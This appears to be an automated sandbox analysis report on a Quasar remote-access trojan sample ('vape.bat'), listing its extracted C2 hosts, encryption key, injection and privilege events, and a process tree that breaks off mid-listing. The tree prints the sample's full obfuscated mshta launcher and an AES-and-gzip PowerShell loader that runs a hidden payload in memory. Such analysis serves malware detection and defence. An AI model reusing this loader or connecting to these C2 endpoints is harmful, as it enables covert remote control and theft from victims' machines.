quasar | 84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724

Analysis

max time kernel
37s
max time network
37s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
28-11-2024 10:23

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General

Target

vape.bat
Size

12.5MB
MD5

cf5b412ffc3ce43cd7ddce602fc67f56
SHA1

221dfcd0868158f676c472d8a5bcf9647f0c7d51
SHA256

84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724
SHA512

695489d3b02863c382dc4b044bd80825b3f46eadfe4647619a0036da7ab3405b7925e89a457b19ee57995a59dcf8d5f9df237cd4d5d59a6cee3914aeaee2a8ef
SSDEEP

49152:mmlB6XvIxKx/znMtw4e/x4dA+ilmm5C5rsw1y1lkGxJW5RXLnfaWixbVoZmb0nYk:b

Score

10^/10

quasar v2.2.6 | tinsler defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | Tinsler

throbbing-mountain-09011.pktriot.net:22112

167.71.56.116:22112

throbbing-mountain-09011.pktriot.net:5050

Mutex

cf16a257-7d89-4296-8384-8fca3dbb568f

Attributes

encryption_key
045F98A287DD47B8B5C074D234995A2C5A913042
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3716-60-0x00000270BD390000-0x00000270BDB5A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

vape.bat.exe$sxr-powershell.exe

description	pid	Process	procid_target
PID 3732 created 628	3732	vape.bat.exe	5
PID 3716 created 628	3716	$sxr-powershell.exe	5
PID 3716 created 628	3716	$sxr-powershell.exe	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4152190078-1497776152-96910572-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 5 IoCs

Processes:

vape.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid	Process
3732	vape.bat.exe
2560	$sxr-mshta.exe
2436	$sxr-cmd.exe
3716	$sxr-powershell.exe
3856	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

Processes:

$sxr-powershell.exe$sxr-powershell.exe

pid	Process
3716	$sxr-powershell.exe
3856	$sxr-powershell.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

vape.bat.exe$sxr-powershell.exe

description	pid	Process	procid_target
PID 3732 set thread context of 4772	3732	vape.bat.exe	89
PID 3732 set thread context of 3096	3732	vape.bat.exe	91
PID 3716 set thread context of 2080	3716	$sxr-powershell.exe	96
PID 3716 set thread context of 4988	3716	$sxr-powershell.exe	98
PID 3716 set thread context of 4304	3716	$sxr-powershell.exe	100
PID 3716 set thread context of 960	3716	$sxr-powershell.exe	101

Drops file in Windows directory 6 IoCs

Processes:

vape.bat.exe

description	ioc	Process
File created	C:\Windows\$sxr-cmd.exe	vape.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	vape.bat.exe
File created	C:\Windows\$sxr-powershell.exe	vape.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	vape.bat.exe
File created	C:\Windows\$sxr-mshta.exe	vape.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	vape.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

dllhost.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

vape.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	Process
3732	vape.bat.exe
3732	vape.bat.exe
3732	vape.bat.exe
4772	dllhost.exe
4772	dllhost.exe
4772	dllhost.exe
4772	dllhost.exe
3096	dllhost.exe
3096	dllhost.exe
3096	dllhost.exe
3096	dllhost.exe
3732	vape.bat.exe
3732	vape.bat.exe
3716	$sxr-powershell.exe
3716	$sxr-powershell.exe
3716	$sxr-powershell.exe
3716	$sxr-powershell.exe
4988	dllhost.exe
4988	dllhost.exe
4988	dllhost.exe
4988	dllhost.exe
2080	dllhost.exe
2080	dllhost.exe
2080	dllhost.exe
2080	dllhost.exe
3716	$sxr-powershell.exe
3716	$sxr-powershell.exe
3856	$sxr-powershell.exe
3856	$sxr-powershell.exe
3856	$sxr-powershell.exe
3856	$sxr-powershell.exe
3716	$sxr-powershell.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe
960	dllhost.exe
960	dllhost.exe
960	dllhost.exe
960	dllhost.exe
960	dllhost.exe
960	dllhost.exe
960	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe
960	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe
960	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe
960	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe
960	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
960	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

vape.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exesvchost.exe

description	pid	Process
Token: SeDebugPrivilege	3732	vape.bat.exe
Token: SeDebugPrivilege	3732	vape.bat.exe
Token: SeDebugPrivilege	4772	dllhost.exe
Token: SeDebugPrivilege	3096	dllhost.exe
Token: SeDebugPrivilege	3716	$sxr-powershell.exe
Token: SeDebugPrivilege	3716	$sxr-powershell.exe
Token: SeDebugPrivilege	4988	dllhost.exe
Token: SeDebugPrivilege	2080	dllhost.exe
Token: SeDebugPrivilege	3856	$sxr-powershell.exe
Token: SeDebugPrivilege	3716	$sxr-powershell.exe
Token: SeDebugPrivilege	4304	dllhost.exe
Token: SeDebugPrivilege	960	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2104	svchost.exe
Token: SeIncreaseQuotaPrivilege	2104	svchost.exe
Token: SeSecurityPrivilege	2104	svchost.exe
Token: SeTakeOwnershipPrivilege	2104	svchost.exe
Token: SeLoadDriverPrivilege	2104	svchost.exe
Token: SeSystemtimePrivilege	2104	svchost.exe
Token: SeBackupPrivilege	2104	svchost.exe
Token: SeRestorePrivilege	2104	svchost.exe
Token: SeShutdownPrivilege	2104	svchost.exe
Token: SeSystemEnvironmentPrivilege	2104	svchost.exe
Token: SeUndockPrivilege	2104	svchost.exe
Token: SeManageVolumePrivilege	2104	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2104	svchost.exe
Token: SeIncreaseQuotaPrivilege	2104	svchost.exe
Token: SeSecurityPrivilege	2104	svchost.exe
Token: SeTakeOwnershipPrivilege	2104	svchost.exe
Token: SeLoadDriverPrivilege	2104	svchost.exe
Token: SeSystemtimePrivilege	2104	svchost.exe
Token: SeBackupPrivilege	2104	svchost.exe
Token: SeRestorePrivilege	2104	svchost.exe
Token: SeShutdownPrivilege	2104	svchost.exe
Token: SeSystemEnvironmentPrivilege	2104	svchost.exe
Token: SeUndockPrivilege	2104	svchost.exe
Token: SeManageVolumePrivilege	2104	svchost.exe
Token: SeAuditPrivilege	2904	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2104	svchost.exe
Token: SeIncreaseQuotaPrivilege	2104	svchost.exe
Token: SeSecurityPrivilege	2104	svchost.exe
Token: SeTakeOwnershipPrivilege	2104	svchost.exe
Token: SeLoadDriverPrivilege	2104	svchost.exe
Token: SeSystemtimePrivilege	2104	svchost.exe
Token: SeBackupPrivilege	2104	svchost.exe
Token: SeRestorePrivilege	2104	svchost.exe
Token: SeShutdownPrivilege	2104	svchost.exe
Token: SeSystemEnvironmentPrivilege	2104	svchost.exe
Token: SeUndockPrivilege	2104	svchost.exe
Token: SeManageVolumePrivilege	2104	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2104	svchost.exe
Token: SeIncreaseQuotaPrivilege	2104	svchost.exe
Token: SeSecurityPrivilege	2104	svchost.exe
Token: SeTakeOwnershipPrivilege	2104	svchost.exe
Token: SeLoadDriverPrivilege	2104	svchost.exe
Token: SeSystemtimePrivilege	2104	svchost.exe
Token: SeBackupPrivilege	2104	svchost.exe
Token: SeRestorePrivilege	2104	svchost.exe
Token: SeShutdownPrivilege	2104	svchost.exe
Token: SeSystemEnvironmentPrivilege	2104	svchost.exe
Token: SeUndockPrivilege	2104	svchost.exe
Token: SeManageVolumePrivilege	2104	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2104	svchost.exe
Token: SeIncreaseQuotaPrivilege	2104	svchost.exe
Token: SeSecurityPrivilege	2104	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid	Process
3716	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exevape.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe

description	pid	Process	procid_target
PID 2392 wrote to memory of 3732	2392	cmd.exe	85
PID 2392 wrote to memory of 3732	2392	cmd.exe	85
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 4772	3732	vape.bat.exe	89
PID 3732 wrote to memory of 2128	3732	vape.bat.exe	90
PID 3732 wrote to memory of 2128	3732	vape.bat.exe	90
PID 3732 wrote to memory of 2128	3732	vape.bat.exe	90
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 3732 wrote to memory of 3096	3732	vape.bat.exe	91
PID 2560 wrote to memory of 2436	2560	$sxr-mshta.exe	93
PID 2560 wrote to memory of 2436	2560	$sxr-mshta.exe	93
PID 2436 wrote to memory of 3716	2436	$sxr-cmd.exe	95
PID 2436 wrote to memory of 3716	2436	$sxr-cmd.exe	95
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 2080	3716	$sxr-powershell.exe	96
PID 3716 wrote to memory of 3296	3716	$sxr-powershell.exe	97
PID 3716 wrote to memory of 3296	3716	$sxr-powershell.exe	97
PID 3716 wrote to memory of 3296	3716	$sxr-powershell.exe	97
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 4988	3716	$sxr-powershell.exe	98
PID 3716 wrote to memory of 3856	3716	$sxr-powershell.exe	99
PID 3716 wrote to memory of 3856	3716	$sxr-powershell.exe	99
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 4304	3716	$sxr-powershell.exe	100
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101
PID 3716 wrote to memory of 960	3716	$sxr-powershell.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:964
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ebafed93-50da-4bb7-b75d-57cbb0fb7cc4}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ee0d196b-662b-48d7-8a73-a0f68bd1c260}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{00132808-0dd3-4450-9237-345b655bb247}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4304

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1236
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3220
- C:\Windows\$sxr-mshta.exe
  "C:\Windows\$sxr-mshta.exe" "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:228
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{7b79123b-aff6-4938-900b-3373ffb8d5fc}
        5⤵
        
        PID:3296
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{23f0bffa-b5a9-47f4-8b9c-da1adcc05328}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4988
    - - C:\Windows\$sxr-powershell.exe
        
